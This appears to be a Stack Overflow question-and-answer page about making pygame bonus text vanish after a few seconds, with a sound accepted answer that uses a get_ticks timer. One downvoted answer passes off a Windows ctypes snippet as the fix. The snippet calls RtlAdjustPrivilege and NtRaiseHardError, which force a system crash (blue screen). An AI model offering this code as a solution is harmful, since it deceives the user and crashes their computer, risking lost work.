How to display text on screen for a few seconds?

Question

I'm programming a game in pygame. After hitting an object, the text appears on screen. How to make it disappear after a few seconds?

Fragment of my code:

def bonus(txt, x, y, size):
    cz = pygame.font.SysFont("Times New Roman", size)
    rend = cz.render(txt, 1, (0, 0, 0))
    x = (WIDTH - rend.get_rect().width) / 2
    y = (HEIGHT - rend.get_rect().height) / 4
    screen.blit(rend, (x, y))

    pygame.display.update()

def hit:
    bonus('+3 points', 30, 70, 30)

does this answer your question? https://stackoverflow.com/questions/10467863/how-to-remove-replace-text-in-pygame — marcos, Dec 16 '19 at 16:47
no cause it says to erase the old text first when i dont have any text displayed — martae, Dec 16 '19 at 17:11
Why do you `pygame.display.update()` in bonus? Do you've an application loop? — Rabbid76, Dec 16 '19 at 17:16

Rabbid76 · Accepted Answer · 2019-12-16T17:36:36.220

Create 2 variables in global name space (or class attributes if you use classes). The first on states the bonus text and position (bonus_text). The other one states the time when the text has to disappear:

bonus_text = None
bonus_end = 0

Set the variables in hit. Use pygame.time.get_ticks() to get the current time. Add the timespan to the current time (e.g. 3000 milliseconds).
Don't forget the global statement, since the function writes to the variables in global namespace.

def hit():
    global bonus_text, bonus_end

    cz = pygame.font.SysFont("Times New Roman", size)
    rend = cz.render(txt, 1, (0, 0, 0))
    x = (WIDTH - rend.get_rect().width) / 2
    y = (HEIGHT - rend.get_rect().height) / 4

    bonus_text = (rend, (x, y))
    bonus_end = pygame.time.get_ticks() + 3000 # 3000 milliseconds = 3 seconds

Continuously call draw_bonus in the main application loop. The function draws the bonus text, if bonus_text is set and the current time (pygame.time.get_ticks()) is less the time point a t which text has to disappear.

def draw_bonus(txt, x, y, size):

    if bonus_text and pygame.time.get_ticks() < bonus_end: 
        screen.blit(*bonus_text)

score 1 · Answer 2 · answered Dec 16 '19 at 16:48

It depends on the overall structure of your project. You can use some scheduling library like aspscheduler to schedule functions to be executed at some later time. Or, implement multithreading and use time.sleep() in one thread that is responsibe for drawing the text. Or, keep a list of functions and times when you need to call them, and go through this list on every main loop iteration

score -3 · Answer 3 · edited Dec 16 '19 at 17:05

-3

yes if you put this code then it wil be fixed

from ctypes.wintypes import * 

tmp1 = c_bool()
tmp2 = DWORD()

ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))

edited Dec 16 '19 at 17:05

Prebsus

695
9
17

answered Dec 16 '19 at 16:44

owenpugh1

1

3

Hi Owen, could you include some explanation of *why* this code should be added, and what it is doing? – Brydenr Dec 16 '19 at 16:52

How to display text on screen for a few seconds?

3 Answers3